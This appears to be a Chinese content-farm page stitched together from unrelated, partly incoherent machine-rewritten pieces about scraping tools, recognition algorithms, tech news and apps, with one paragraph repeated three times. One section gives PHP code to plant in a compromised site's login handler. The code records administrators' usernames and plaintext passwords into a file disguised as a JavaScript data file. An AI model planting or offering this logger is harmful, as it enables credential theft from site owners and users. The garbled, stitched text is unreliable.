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　　解決方案:采集器的自動(dòng)識別算法是什么？如何做好？
　　采集器的自動(dòng)識別算法很多。大體分兩種：1、圖片本身很多，如果用自動(dòng)識別程序將所有圖片逐一識別出來(lái)，那成本就會(huì )非常高。但是，這種程序應該是自動(dòng)化程度比較高的，一般是不存在這種問(wèn)題。2、圖片本身不多，但是現在有很多抓圖軟件，一般是不允許人工捕捉本地圖片，一般自動(dòng)抓取都是隨機抓取，而且在一定程度上，是圖片分辨率越高，自動(dòng)識別越精準。
　　這種技術(shù)上應該沒(méi)有問(wèn)題。至于抓取你說(shuō)的這種圖片，不同抓取軟件的算法不同，但肯定沒(méi)有自動(dòng)識別自動(dòng)抓取的精準。但目前已經(jīng)有很多地方在運用這種技術(shù)了。從抓取精度看，目前有很多圖像分割軟件，基本上和人工細致程度相當，但價(jià)格很便宜?，F在這種技術(shù)在信息測量領(lǐng)域應用也比較廣泛。我沒(méi)見(jiàn)過(guò)非人工抓取的，一般都是自動(dòng)抓取。希望對你有幫助。
　　
　　要求太高了，那也就沒(méi)有，只是去抓取傳統數據，抓完了再重新傳給其他人，
　　其實(shí)直接上網(wǎng)抓api比較多就行，天空圖，
　　
　　能不能挖點(diǎn)技術(shù)細節到處拿來(lái)問(wèn)，更新慢想獲取圖片很容易啊，誰(shuí)誰(shuí)的爬蟲(chóng)用了xx庫都幾十秒，不用隨便搜一個(gè)都幾秒，你想用幾秒獲取圖片，
　　有只是圖片質(zhì)量不夠高
　　不能。本來(lái)圖片就少，幾秒抓一張的圖片，你不用非要讓他幾秒內抓完，電腦這么做很浪費時(shí)間的，至少給我發(fā)個(gè)按鈕上去我秒抓。 查看全部

　　解決方案:采集器的自動(dòng)識別算法非常的多：圓谷的
　　采集器的自動(dòng)識別算法非常的多：圓谷的：掃描全臉，核心有ivr，識別度高，算法穩定值。無(wú)線(xiàn)的：近眼識別，好多種圖像模式，識別度一般，能不能識別很大程度看適不適合。上位機的：自動(dòng)商品識別，對品類(lèi)的數量要求比較多，需要批發(fā)市場(chǎng)或者大城市才有，識別度很高，有幾百種模式。
　　
　　阿里跟高德曾經(jīng)合作過(guò)類(lèi)似技術(shù)，這個(gè)算是共同開(kāi)發(fā)技術(shù)，
　　提到阿里跟高德合作過(guò)類(lèi)似技術(shù)，這個(gè)技術(shù)有一個(gè)優(yōu)勢，就是運營(yíng)的時(shí)候，可以根據這個(gè)技術(shù)，來(lái)做很多相應的活動(dòng)玩法，實(shí)在是在細節方面做得不好的地方，有時(shí)候還是不夠周到。但阿里還是比較牛逼的，找他們合作過(guò)，確實(shí)很專(zhuān)業(yè)，要求也很高，但是后期實(shí)在是坑爹了。他們核心技術(shù)還是自己的技術(shù)團隊，給的解決方案還是很自己清楚，識別也很出色，不會(huì )存在跑多了識別率下降的問(wèn)題。
　　
　　時(shí)間一長(cháng)，就跟這個(gè)合作平臺的服務(wù)有關(guān)系了，最大的問(wèn)題還是在于技術(shù)團隊自己研發(fā)團隊，真正去運用的時(shí)候出來(lái)的效果，是最能體現科技含量的。
　　最近有機會(huì )接觸到一家專(zhuān)業(yè)做圖像的技術(shù)公司，里面的產(chǎn)品方案是深度學(xué)習算法+機器學(xué)習算法+云計算平臺+互聯(lián)網(wǎng)業(yè)務(wù)，他們主要提供算法輸出的，就是針對某一個(gè)行業(yè)和場(chǎng)景去識別某一種類(lèi)型的照片，需要做到識別速度快，準確率高?，F在我們正在考慮合作，看看能不能把他們的特色和優(yōu)勢在一些業(yè)務(wù)方案中體現出來(lái)。 查看全部

　　事實(shí):小米沒(méi)有開(kāi)發(fā)這樣的采集器，誰(shuí)買(mǎi)誰(shuí)后悔
　　采集器的自動(dòng)識別算法本身有一套，現在也基本成熟，那個(gè)性能還是很可以的。前提是小米有智能家居的話(huà)，智能家居可能有wifi，也可能是nfc，還可能是3g可以用app通過(guò)一個(gè)程序控制采集器收發(fā)數據，至于那個(gè)采集卡里面有什么信息，那個(gè)可能就得花費時(shí)間花錢(qián)買(mǎi)或者找人定制或者干脆給你采集卡的技術(shù)人員打工，我想沒(méi)有任何捷徑。
　　瀉藥，小米沒(méi)有出app。小米的采集器其實(shí)就是安卓系統上同樣一個(gè)app.一般采集軟件分布在：小米商城/小米手機（主要是手機上）附近的小米軟件商店+小米應用商店（主要是小米手機上）附近的wifi/一些寬帶運營(yíng)商網(wǎng)點(diǎn)/小米的電視，移動(dòng)運營(yíng)商網(wǎng)點(diǎn)，他們都有小米的采集器，甚至像nb-iot這樣的專(zhuān)門(mén)終端，也支持小米的采集器。應該來(lái)說(shuō)，小米沒(méi)有開(kāi)發(fā)這樣的app，他是以軟件的形式，普通人手機上就能使用這樣的app。
　　
　　小米電視應該有接入小米云服務(wù)吧，
　　有一個(gè)app叫極速接入，設置下就行了。以前我還在原來(lái)的公司時(shí)，也用過(guò)這個(gè)，智能家居只用手機app調用，不需要收費，相對來(lái)說(shuō)還算比較劃算。
　　我今天剛在騰訊課堂買(mǎi)了個(gè)小米的手環(huán)。我先來(lái)分享一下我的使用體驗，applewatch和googleglass都有哦，不要問(wèn)我為什么沒(méi)買(mǎi)小米手環(huán)，誰(shuí)買(mǎi)誰(shuí)后悔！我的是1代，也是2014年買(mǎi)的。入手以后才發(fā)現并不是因為喜歡watch。而是喜歡那個(gè)表盤(pán)。說(shuō)明是個(gè)顏控。加上facebook賬號互通，所以偶爾還是會(huì )看看facebook的動(dòng)態(tài)。
　　
　　今天就來(lái)做一個(gè)采集器吧，是和一位技術(shù)支持小哥哥聊到的，于是購買(mǎi)了。后來(lái)看到微信推送了一篇電視上用的極速接入的文章，就下載了來(lái)看一下。如果有需要就看看吧。外置易奧飛識別器：將手機上安裝的四個(gè)app分為兩部分，包括小米（android）、微信（wxqiu），用于接收app內推送的信息。網(wǎng)絡(luò )架構是單節點(diǎn)client和單節點(diǎn)server，通過(guò)socket通信，支持多個(gè)通道或多socket多通道。
　　識別器安裝于小米路由器x86平臺。第一步：雙擊googlenetserver進(jìn)入路由器設置，填寫(xiě)相關(guān)端口劃分，可以自行對比路由器廠(chǎng)商提供的配置進(jìn)行設置。路由器上設置好相關(guān)端口后可以單擊路由器上的網(wǎng)絡(luò )連接鍵，使得小米路由器從googlenetserver獲取相關(guān)位置信息。第二步：雙擊路由器的googlenetserver按鍵，該物理機器人開(kāi)始搜索附近的app。
　　當有app時(shí)直接雙擊，即可連接，不用設置相關(guān)的配置。這個(gè)方法在其他app上應該也可以用，搜索附近網(wǎng)絡(luò )再設置即可。（關(guān)鍵是這個(gè)能搜索附近app，我在skype或者其他app都搜索不到，但我用這個(gè)就能。 查看全部

　　解決方案:黑客利用公司后臺弱密碼轉走730萬(wàn)；全球首款 LCD 屏內多點(diǎn)指紋識別方案發(fā)布；
　　近日，由深藍科技研發(fā)的“熊貓智能公交”首次在上海開(kāi)放道路上進(jìn)行測試。它是一款純電動(dòng)新能源汽車(chē)，外形酷似一只大熊貓。內部配備售貨柜，支持“刷手”支付。支付方式采用手脈識別生物技術(shù)，通過(guò)紅外線(xiàn)拍攝采集皮膚下3毫米的內部生命體特征，再通過(guò)精密算法，匹配識別體內獨特DNA的生物特征值掌上支付，完成身份認證，自動(dòng)綁定支付軟件，輕松支付。
　　1個(gè)
　　黑客利用公司后臺弱密碼轉賬730萬(wàn)
　　近日，上海某公司自主研發(fā)的“支付系統”被黑，涉案金額高達730萬(wàn)元。警方經(jīng)調查發(fā)現，共有3個(gè)國內外IP地址入侵了“支付系統”。攻擊者破解系統管理后臺用戶(hù)名和密碼，下載客戶(hù)資料，成功破解“支付系統”客戶(hù)端平臺，修改用于驗證支付的手機號碼和支付密碼?？刂瀑Y金劃轉權限后，他立即向公司7個(gè)銀行賬戶(hù)發(fā)出匯款指令，進(jìn)行盜款。公司造成巨額經(jīng)濟損失的根本原因是其后臺使用了“123456”，世界上最容易破解的弱密碼之一。此外，該公司為降低轉會(huì )費自建“支付系統”，未能在網(wǎng)站依法上線(xiàn)后30日內完成報告，并進(jìn)行等級保護評估，導致在管理后臺處于“裸奔”狀態(tài)。黑客有更多可乘之機。
　　目前，上海警方根據銀行賬戶(hù)記錄和資金流向，在14天內抓獲了來(lái)自全國各地的15名犯罪嫌疑人?？梢?jiàn)很多人的密碼安全意識還是不強。事實(shí)上，強密碼是保護網(wǎng)絡(luò )信息安全最基本、最核心的手段之一。
　　
　　咸魚(yú)要站出來(lái)：你還在用容易破解的弱密碼嗎？
　　2個(gè)
　　全球首款液晶屏多點(diǎn)指紋識別發(fā)布
　　昨日，天馬微電子宣布，其研發(fā)的全球首款液晶屏多點(diǎn)指紋解決方案（TFP）正式發(fā)布。擁有自主知識產(chǎn)權，具有高集成度、全面屏多點(diǎn)指紋識別、高屏占比等特點(diǎn)。. 此次屏幕采用光學(xué)指紋識別方式，將光路調制單元和指紋圖像采集器集成到顯示屏中，相比外置顯示屏厚度減少50%以上準直光路設計方案，讓手機變得更輕薄，屏占比也得到了提升。同時(shí)，全面屏指紋多點(diǎn)識別方案還首次實(shí)現觸控、顯示、指紋識別三大功能的融合，可應用于全面屏盲解鎖、App加密解鎖、自定義指紋控制等。這意味著(zhù)智能終端的人機交互體驗將更加多元化?？蓪?shí)現應用鎖和全屏指紋識別的結合，點(diǎn)擊圖標時(shí)同時(shí)驗證指紋，一鍵解鎖，有助于提高手機的安全性和隱私性。甚至可以在點(diǎn)擊立即支付的瞬間自動(dòng)完成指紋驗證，大大簡(jiǎn)化了操作。目前，天馬'
　　咸魚(yú)想轉身：觸控、顯示、指紋識別三合一，有點(diǎn)厲害，會(huì )給交互體驗帶來(lái)很大改變。
　　
　　3個(gè)
　　GitHub 的終極羅曼史：開(kāi)源代碼永存
　　人類(lèi)文明的成果是最寶貴的財富。無(wú)論是為了未來(lái)的人類(lèi)了解過(guò)去的歷史，還是為了結束之后的重啟，都應該妥善保存，傳承給后代。為了讓開(kāi)源代碼長(cháng)期安全無(wú)虞，GitHub 實(shí)施了浪漫的人類(lèi)計劃。7月8日，GitHub將支持當今社會(huì )運行的幾乎所有開(kāi)源代碼，包括Net、ruby、apache、docker、php等，以及涵蓋操作系統、數據庫、金融區塊鏈、音頻等幾乎所有開(kāi)源代碼和視頻，前端和后端等。程序明智，存儲在 201 膠卷中，打包并運往斯瓦爾巴群島。斯瓦爾巴群島位于世界最北端，氣候極其寒冷，終年冰封。它是遠離世界紛爭、保存人類(lèi)文明的圣地。這些薄膜被放置在鋼制容器中，并密封在一個(gè)保持-5°C恒溫的極度干燥的廢棄煤礦中，預計可以保存長(cháng)達一千年。同時(shí)，GitHub 也在研究使用石英玻璃作為存儲代碼的介質(zhì)。對電磁干擾、水和熱具有良好的適應性，可提供數萬(wàn)年的儲存壽命。目前，GitHub 已經(jīng)以這種形式存儲了全球最流行的 6000 個(gè)項目代碼，以驗證其可行性。預計可以持續一千年。同時(shí)，GitHub 也在研究使用石英玻璃作為存儲代碼的介質(zhì)。對電磁干擾、水和熱具有良好的適應性，可提供數萬(wàn)年的儲存壽命。目前，GitHub 已經(jīng)以這種形式存儲了全球最流行的 6000 個(gè)項目代碼，以驗證其可行性。預計可以持續一千年。同時(shí)，GitHub 也在研究使用石英玻璃作為存儲代碼的介質(zhì)。對電磁干擾、水和熱具有良好的適應性，可提供數萬(wàn)年的儲存壽命。目前，GitHub 已經(jīng)以這種形式存儲了全球最流行的 6000 個(gè)項目代碼，以驗證其可行性。
　　咸魚(yú)要站出來(lái)：如果你的代碼存入源碼，你將獲得Github勛章~有人收到了嗎？
　　秘密:社工利器后臺密碼截獲方法
　　為什么80%的碼農不能成為架構師？>>>
　　當我們用不正常的方法拿下一個(gè)服務(wù)器或者服務(wù)器中的一個(gè)站點(diǎn)時(shí)，這時(shí)候可能不是我們的最終目的。為了得到管理員的明文密碼但是被md5困住了，所以我們可以用這個(gè)方法來(lái)攔截管理員密碼
　　在我們需要攔截的網(wǎng)站后臺加入：
　　將其添加到普通程序判斷用戶(hù)密碼的網(wǎng)站中
　　$ip=$_SERVER['REMOTE_ADDR']; //獲取ip
$showtime=date("Y-m-d H:i:s"); //獲取日期
$cururl=GetCurUrl();(自己寫(xiě)獲取登入路徑的函數) //獲取登入頁(yè)面
$record="Username:".$userid." Password:".$pwd." Url:".$cururl." IP:".$ip." Time:".$showtime." \r\n";// 組成成字符串集 里面變量自己更改
<p>
$handle=fopen(&#39;../include/data/ipdata.js&#39;,&#39;a+&#39;); fopen以讀寫(xiě)創(chuàng )建打開(kāi)文件
$write=fwrite($handle,$record); //fwrite函數把剛才的字符串寫(xiě)進(jìn)文件保存

function getCurUrl() {
if (! empty ( $_SERVER [\"REQUEST_URI\"] )) {
$scriptName = $_SERVER [\"REQUEST_URI\"];
$nowurl = $scriptName;
} else {
$scriptName = $_SERVER [\"PHP_SELF\"];
　　
if (empty ( $_SERVER [\"QUERY_STRING\"] )) {
$nowurl = $scriptName;
} else {
$nowurl = $scriptName . \"?\" . $_SERVER [\"QUERY_STRING\"];
}
}
return $nowurl;
} 自定義獲取當前腳本所在url</p>
　　轉載于： 查看全部

　　解決方案:采集器的自動(dòng)識別算法怎么可能達到幾十上百的水平
　　采集器的自動(dòng)識別算法，怎么可能達到幾十上百的水平。況且淘寶已經(jīng)自己修改了好多年，現在的算法已經(jīng)有了根本上的提高。還有現在有些人的審核不正確，會(huì )判定假貨，所以購買(mǎi)的寶貝真假混發(fā)很正常。
　　掃描是必須要掃的，既然賣(mài)家都敢賣(mài)，那就有人賣(mài)，
　　不要下載客戶(hù)端！切記！手機端的去大號，小號無(wú)法監控！監控不了！為什么要監控呢，因為手機端評價(jià)，
　　
　　淘寶對于評價(jià)都是放在一起顯示
　　不要上評價(jià)網(wǎng)去看，上評價(jià)網(wǎng)顯示真實(shí)評價(jià)都被人舉報了，都處罰了。
　　建議不要相信評價(jià)。一個(gè)差評都可能影響你，更別說(shuō)好評，對于廠(chǎng)家來(lái)說(shuō)。
　　手機上好評別看這么多，看別人主圖，越美越好，評論別看全部的。要看自己的主圖，越爆的越好。然后就看留言，你要想評價(jià)多又不花錢(qián)，留言無(wú)數就可以成，
　　
　　每個(gè)東西沒(méi)有完美的，仔細看，買(mǎi)東西的人回來(lái)說(shuō)的，看好評的時(shí)候差評上有沒(méi)有說(shuō)不能退換的。
　　看差評好評有沒(méi)有騙子營(yíng)銷(xiāo)機構在做操作
　　如果你是外行人，自己就能分辨到好壞，淘寶有個(gè)正品的標識。如果是內行人，請學(xué)習人民日報或者新華社，人民日報/新華社都有推薦店鋪名錄，各大網(wǎng)站都有推薦評分系統。
　　淘寶客一個(gè)就夠一分錢(qián)不要留多那是坑如果你想賺錢(qián)就買(mǎi)老買(mǎi)家給你的幾塊十幾塊 查看全部

　　教程:優(yōu)采云采集器下載軟件簡(jiǎn)介
　　優(yōu)采云采集器是新一代智能網(wǎng)頁(yè)采集工具，智能分析，可視化界面，一鍵式采集無(wú)需編程，支持自動(dòng)生成采集可以采集99% 的互聯(lián)網(wǎng)網(wǎng)站 的腳本。該軟件簡(jiǎn)單易學(xué)。通過(guò)智能算法+可視化界面，你可以抓取任何你想要的數據。采集網(wǎng)頁(yè)上的數據只需點(diǎn)擊一下即可。
　　【軟件特色】
　　一鍵提取數據
　　簡(jiǎn)單易學(xué)，通過(guò)可視化界面，鼠標點(diǎn)擊即可抓取數據
　　快速高效
　　內置一套高速瀏覽器內核，配合HTTP引擎模式，實(shí)現快速采集數據
　　
　　適用于各種網(wǎng)站
　　能夠采集99%的互聯(lián)網(wǎng)網(wǎng)站，包括單頁(yè)應用Ajax加載等動(dòng)態(tài)類(lèi)型網(wǎng)站
　　【特征】
　　向導模式
　　使用簡(jiǎn)單，通過(guò)鼠標點(diǎn)擊輕松自動(dòng)生成
　　定期運行的腳本
　　無(wú)需人工即可按計劃運行
　　原裝高速核心
　　
　　自研瀏覽器內核速度快，遠超對手
　　智能識別
　　智能識別網(wǎng)頁(yè)中的列表和表單結構（多選框下拉列表等）
　　廣告攔截
　　自定義廣告攔截模塊，兼容AdblockPlus語(yǔ)法，可添加自定義規則
　　各種數據導出
　　支持Txt、Excel、MySQL、SQLServer、SQlite、Access、網(wǎng)站等。
　　干貨教程:如何一鍵批量采集唯品會(huì )的商品主圖，并且獲取商品的鏈接呢？
　　我們批量下載產(chǎn)品鏈接和唯品會(huì )產(chǎn)品主圖?？梢杂檬裁捶椒▉?lái)操作呢？接下來(lái)教大家一個(gè)簡(jiǎn)單好用的方法，批量下載唯品會(huì )產(chǎn)品的主圖和鏈接。
　　1）在瀏覽器中搜索“古橋科技”，搜索后在古橋科技官網(wǎng)下載一個(gè)“古橋電商圖片助手”，點(diǎn)擊免費下載，軟件安全無(wú)毒，您可以放心下載。
　　2) 打開(kāi)軟件，進(jìn)入軟件首頁(yè)，勾選頁(yè)面上方的“自動(dòng)粘貼網(wǎng)址”。這一步是為了方便我們復制產(chǎn)品鏈接時(shí)，鏈接會(huì )同時(shí)自動(dòng)粘貼到軟件操作頁(yè)面。
　　
　　3）打開(kāi)唯品會(huì )，選擇你喜歡的產(chǎn)品圖片，點(diǎn)擊產(chǎn)品，復制產(chǎn)品鏈接?？梢赃B續復制幾個(gè)產(chǎn)品的鏈接，然后一起下載。
　　4）復制鏈接后，我們回到軟件的操作頁(yè)面，點(diǎn)擊“設置”，然后選擇“高級設置”，會(huì )彈出一個(gè)新的窗口，在里面設置下載產(chǎn)品鏈接的選項。
　　5）在窗口的下載記錄設置中勾選第一個(gè)“記錄產(chǎn)品標題和原創(chuàng )產(chǎn)品URL”，然后保存設置，這樣在下載圖片的時(shí)候會(huì )同時(shí)下載產(chǎn)品鏈接。
　　6）設置完成后，我們會(huì )回到主頁(yè)面，勾選下載選項，勾選需要哪個(gè)選項下載什么類(lèi)型的圖片。
　　
　　7) 選擇下載選項后，再次選擇存儲位置開(kāi)始下載。下載完成后，可以打開(kāi)文件夾查看下載狀態(tài)。
　　8）打開(kāi)文件夾，我們看到下載的圖片都是以產(chǎn)品命名的，主圖和鏈接都下載好了，很方便，如果有需要可以按照教程開(kāi)始下載圖片和鏈接！ 查看全部

　　事實(shí):我也遇到過(guò),騰訊qq提示我qq接收他人遠程攻擊,
　　采集器的自動(dòng)識別算法對于部分簡(jiǎn)單情況是靠譜的，但在復雜情況下比如個(gè)別搜索引擎已經(jīng)開(kāi)始做cookie檢測的情況下，靠自動(dòng)識別就很難避免被攻擊者利用。
　　
　　這個(gè)真心安全不起來(lái)...我也遇到過(guò),騰訊qq提示我qq接收他人遠程攻擊,在電腦上登錄的不能正常使用,只能通過(guò)郵箱才能提供相關(guān)的信息,然后找回密碼的時(shí)候把我的qq號發(fā)一遍還不能給我.這種情況真心沒(méi)辦法誰(shuí)能指望這個(gè)提示軟件和密碼管理器(win7之類(lèi))長(cháng)久的通信
　　目前阿里云有這個(gè)功能，需要注冊，只有集成接入點(diǎn)才能實(shí)現，一般企業(yè)如果不直接訪(fǎng)問(wèn)接入點(diǎn)，是不支持的。
　　
　　我通過(guò)云域名聯(lián)盟嘗試過(guò)啊，但是基本都沒(méi)用，現在已經(jīng)封了云服務(wù)器，忘了這茬了。唉。都是云自己做的這些破事。我，xxx，被最親密的同事黑了不止一次，以前的錢(qián)白白流失了，寫(xiě)了本小說(shuō)沒(méi)法發(fā)，傷心到來(lái)知乎吐槽，實(shí)在是后悔啊。
　　用過(guò)騰訊官方的免費cookie掃描儀的。效果嘛，用來(lái)放假氣話(huà)還行。真正用到就不現實(shí)了，還是買(mǎi)個(gè)號自己用。
　　有個(gè)工具如果某網(wǎng)站的cookie被劫持了，是可以拿到網(wǎng)站的所有信息的。用免費的爬蟲(chóng)工具爬取網(wǎng)站的信息也不會(huì )給用戶(hù)造成任何損失。但是如果別人黑了你的網(wǎng)站，你就會(huì )成為仇人！是的，仇人。你懂我說(shuō)的仇人不是仇人你懂的不到你說(shuō)的仇人的那個(gè)維度。 查看全部

　　事實(shí):iphone設計語(yǔ)言不支持截圖識別的算法不夠？怎么辦？
　　采集器的自動(dòng)識別算法完全可以實(shí)現。只是iphone目前沒(méi)有自動(dòng)識別的算法，或者說(shuō)，目前實(shí)現效果都不太好。并不是說(shuō)搜索不行，不過(guò)問(wèn)題在于自動(dòng)識別的算法不夠。題主提到的自動(dòng)識別和截圖識別還是比較容易的，目前蘋(píng)果已經(jīng)集成了這項功能，但是光憑圖片識別還是不能實(shí)現全自動(dòng)人工截圖的，所以我們也需要更強大的算法做支撐。想要更好的識別效果還需要提升機器學(xué)習和圖像識別的能力。
　　蘋(píng)果這個(gè)是對眼睛的識別，沒(méi)說(shuō)對大腦，然后眼睛識別后就以為是圖片就自動(dòng)截圖了。是不是蘋(píng)果都不知道，嗯，這個(gè)功能蘋(píng)果的人工智能怎么說(shuō)呢？他要針對你喜歡的圖片才知道不喜歡，所以我覺(jué)得他這個(gè)算法就是一個(gè)過(guò)濾器，他可以識別不感興趣的內容，
　　
　　iphone的設計語(yǔ)言不支持截圖識別，對設備方便快捷方面有很大的影響。我是這么認為的。
　　你去下個(gè)cineantex什么的，不能完全識別。用safari和firefox識別還可以，但我認為這個(gè)很難。
　　
　　快捷、方便地屏幕截圖。感覺(jué)越來(lái)越發(fā)展會(huì )自動(dòng)識別照片邊緣。
　　人工智能的難點(diǎn)在于從經(jīng)驗中歸納總結的能力，對大量圖片的基礎信息進(jìn)行抽象，然后提取特征，再以此為基礎開(kāi)發(fā)各種算法，如矩陣分解，主成分分析等，往往各個(gè)算法的實(shí)現需要更多前置知識，比如你問(wèn)的，眼睛看見(jiàn)了什么，有很多情況是從色彩眼睛到灰度眼睛等不同出發(fā)點(diǎn)產(chǎn)生的，開(kāi)發(fā)時(shí)會(huì )受到很多限制，同時(shí)又需要用更高等級的數學(xué)才能描述現象。
　　而且從物理角度看，光線(xiàn)、角度等基本信息加上這些算法是可以得到真實(shí)世界數據的，但人眼有其他比光線(xiàn)更復雜、信息更豐富的感官。 查看全部

　　直觀(guān):采集器的自動(dòng)識別算法，可以根據當前的搜索內容（詞）
　　采集器的自動(dòng)識別算法，可以根據當前的搜索內容（詞），推算出可能匹配到的需要抓取的網(wǎng)頁(yè)，一般就是看前綴后綴能不能構成搜索關(guān)鍵詞，并取搜索的時(shí)間點(diǎn)，若出現在時(shí)間點(diǎn)上，就可以認為可以抓取，將抓取到的網(wǎng)頁(yè)推送給用戶(hù)。搜狗的搜索引擎識別的都是前綴后綴結合搜索時(shí)間點(diǎn)的結果。
　　
　　對于普通人來(lái)說(shuō)是是很多人遇到的在搜索結果列表里搜索某個(gè)關(guān)鍵詞不出來(lái)或者打開(kāi)網(wǎng)頁(yè)源代碼中的某個(gè)關(guān)鍵詞搜索提示框缺少相關(guān)搜索詞或者部分網(wǎng)頁(yè)出現了a標簽而抓取的網(wǎng)頁(yè)有部分跟a標簽是一樣的。像這些情況大多數源代碼中沒(méi)有存儲相關(guān)搜索詞，或者用戶(hù)要求搜索和前綴后綴匹配不到導致無(wú)法抓取到某個(gè)網(wǎng)頁(yè)。主要原因是部分人并不關(guān)心搜索結果，更多的還是源代碼中存儲某些關(guān)鍵詞相關(guān)而且用戶(hù)又想找到所需要的結果，如果不想用戶(hù)去猜測搜索結果所處位置那就必須把不關(guān)鍵詞的網(wǎng)頁(yè)都篩選掉。這就不是目前國內主流搜索引擎，百度和谷歌們需要考慮的問(wèn)題了。
　　新浪還算是最有良心的搜索引擎了，淘寶和百度聯(lián)合后就太惡心人了，一個(gè)盜版片子，有的還是日本片，連標題都改了，
　　
　　感覺(jué)最主要的原因就是搜狗的搜索引擎機制。
　　除了誤傷并且實(shí)力打臉的新浪微博，其他的搜索引擎都不能100%準確理解人搜索的需求，雖然百度應該會(huì )被罵到狗血噴頭。但是實(shí)際上根據第一次搜索并且學(xué)習的記憶，還是能更加正確的理解用戶(hù)的需求，所以在某些情況下還是能做得到很好的解決需求的。至于百度最近的亂象，個(gè)人認為還是新浪微博影響的，搜狗也是受不了新浪集團的報復，與新浪微博發(fā)生沖突導致的。 查看全部

　　通用解決方案:Python爬蟲(chóng)有哪些應用場(chǎng)景？
　　隨著(zhù)互聯(lián)網(wǎng)信息的“爆炸式增長(cháng)”，網(wǎng)絡(luò )爬蟲(chóng)逐漸為人們所熟知，并被應用到社會(huì )生活的諸多領(lǐng)域。作為一種自動(dòng)采集網(wǎng)頁(yè)數據的技術(shù)，很多人并不清楚網(wǎng)絡(luò )爬蟲(chóng)到底可以應用于哪些場(chǎng)景。事實(shí)上，大部分依賴(lài)數據支撐的應用場(chǎng)景都離不開(kāi)網(wǎng)絡(luò )爬蟲(chóng)，包括搜索引擎、輿情分析監測、聚合平臺、旅游軟件等。
　　搜索引擎是一般網(wǎng)絡(luò )爬蟲(chóng)最重要的應用場(chǎng)景之一。它使用網(wǎng)絡(luò )爬蟲(chóng)作為最基本的部分——互聯(lián)網(wǎng)信息的采集器，讓網(wǎng)絡(luò )爬蟲(chóng)自動(dòng)抓取來(lái)自互聯(lián)網(wǎng)的數據。例如，谷歌、百度、必應等搜索引擎利用網(wǎng)絡(luò )爬蟲(chóng)技術(shù)采集來(lái)自互聯(lián)網(wǎng)的海量數據。
　　
　　政府或企業(yè)利用網(wǎng)絡(luò )爬蟲(chóng)技術(shù)自動(dòng)采集論壇評論、網(wǎng)絡(luò )博客、新聞媒體或微博等海量數據網(wǎng)站，使用相關(guān)的數據挖掘方法（如詞頻統計、文本情感話(huà)題識別等）發(fā)現輿情熱點(diǎn)，跟蹤目標話(huà)題，并按照一定的標準采取相應的輿情控制和引導措施。比如百度熱搜榜、微博熱搜榜。
　　
　　如今出現的很多聚合平臺，比如返利網(wǎng)、買(mǎi)慢買(mǎi)等，也是網(wǎng)絡(luò )爬蟲(chóng)技術(shù)的常見(jiàn)應用場(chǎng)景。所有產(chǎn)品信息都展示在自己的平臺上，并提供橫向數據對比，幫助用戶(hù)找到實(shí)惠的產(chǎn)品價(jià)格。比如，用戶(hù)慢慢購買(mǎi)平臺，搜索華為智能手表后，平臺會(huì )顯示多款華為智能手表的價(jià)格分析和價(jià)格走勢。
　　旅游軟件，如飛豬、攜程、去哪兒等，也是網(wǎng)絡(luò )爬蟲(chóng)應用較多的場(chǎng)景。此類(lèi)應用使用網(wǎng)絡(luò )爬蟲(chóng)技術(shù)不斷訪(fǎng)問(wèn)交通官方售票網(wǎng)站刷新剩余車(chē)票，一旦發(fā)現新的剩余車(chē)票，會(huì )通知用戶(hù)補票。不過(guò)官方票網(wǎng)站并不歡迎網(wǎng)絡(luò )爬蟲(chóng)這種行為，因為頻繁訪(fǎng)問(wèn)網(wǎng)頁(yè)很容易導致網(wǎng)站癱瘓。
　　整套解決方案:快兔兔AI采集器 | wordpress采集器
　　Q：如何使用免費的WordPress發(fā)布界面？如果我不知道如何編碼，我可以學(xué)習多長(cháng)時(shí)間？
　　答：直接下載使用！無(wú)需知道代碼！1分鐘學(xué)會(huì )！
　　問(wèn)：我每天可以發(fā)布多少 文章？支持哪些格式？
　　A：每天可發(fā)布數百萬(wàn)篇文章，支持任何格式！
　　Q：不同域名的Wordpress網(wǎng)站也可以發(fā)布嗎？
　　回答：是的！創(chuàng )建一個(gè)新任務(wù)只需要大約 1 分鐘！
　　Q：我可以設置每天發(fā)表多少篇文章嗎？可以在指定版塊發(fā)布嗎？
　　
　　回答：是的！一鍵設置，可以根據不同的欄目發(fā)布不同的文章
　　Q：除了wordpress網(wǎng)站發(fā)布，Zblogcms程序可以發(fā)布嗎？
　　回答：是的！支持主要cms發(fā)布
　　問(wèn)：太棒了！
　　A：是的，還有更多功能。
　　例如：采集→偽原創(chuàng )→發(fā)布（推送）
　　
　　采集 ：只需設置關(guān)鍵詞根據關(guān)鍵詞采集文章同時(shí)創(chuàng )建幾十個(gè)或幾百個(gè)采集任務(wù)，可以是設置過(guò)濾器關(guān)鍵詞只采集與網(wǎng)站主題文章相關(guān)，并且軟件配置了關(guān)鍵詞自動(dòng)生成工具，只需要進(jìn)入核心關(guān)鍵詞自動(dòng)采集所有行業(yè)相關(guān)關(guān)鍵詞，自動(dòng)過(guò)濾與行業(yè)無(wú)關(guān)的詞。
　　偽原創(chuàng )：偽原創(chuàng )采用AI智能大腦。NLG技術(shù)、RNN模型、百度人工智能算法的融合，嚴格遵循百度、搜狗、360、谷歌等大型搜索引擎算法的收錄規則。使用 偽原創(chuàng ) 會(huì )更好 收錄 并被搜索引擎索引。
　　templates原創(chuàng )degree) - 選擇標題是否與插入的關(guān)鍵詞一致（增加文章與主題行業(yè)的相關(guān)性）搜索引擎推送（發(fā)布后自動(dòng)推送到搜索引擎文章 增加 文章網(wǎng)站收錄)！同時(shí)，除了wordpresscms之外，還支持cms網(wǎng)站和站群采集偽原創(chuàng )。
　　以上是小編使用wordpress工具創(chuàng )作的一批高流量網(wǎng)站，全部?jì)热菖c主題相關(guān)！網(wǎng)站從未發(fā)生過(guò)降級！看完這篇文章，如果覺(jué)得不錯，不妨采集一下，或者發(fā)給有需要的朋友和同事！你的一舉一動(dòng)都會(huì )成為小編源源不斷的動(dòng)力！ 查看全部

　　事實(shí):這5個(gè)應用你要全有，絕對是老司機無(wú)疑！
　　大家好，我是小昊~
　　今天給大家分享5款非常好用的電腦軟件，可以解決很多問(wèn)題，直接上干貨！
　　▍1. 格式工廠(chǎng)
　　格式工廠(chǎng)是一款辦公工具，可以轉換幾乎所有類(lèi)型的多媒體格式，以及文件壓縮、圖像處理、視頻文件修復、文件備份等功能。
　　▍2.Keepass
　　KeePass 是一款功能強大的密碼管理軟件。它可以幫助您記住電子郵件、主頁(yè)FTP、Internet、論壇等的用戶(hù)名和密碼，解決您忘記密碼的煩惱，節省時(shí)間。
　　KeePass 將密碼存儲在高度加密的數據庫中，其他人和其他應用程序無(wú)法識別。
　　
　　▍3.優(yōu)采云采集器
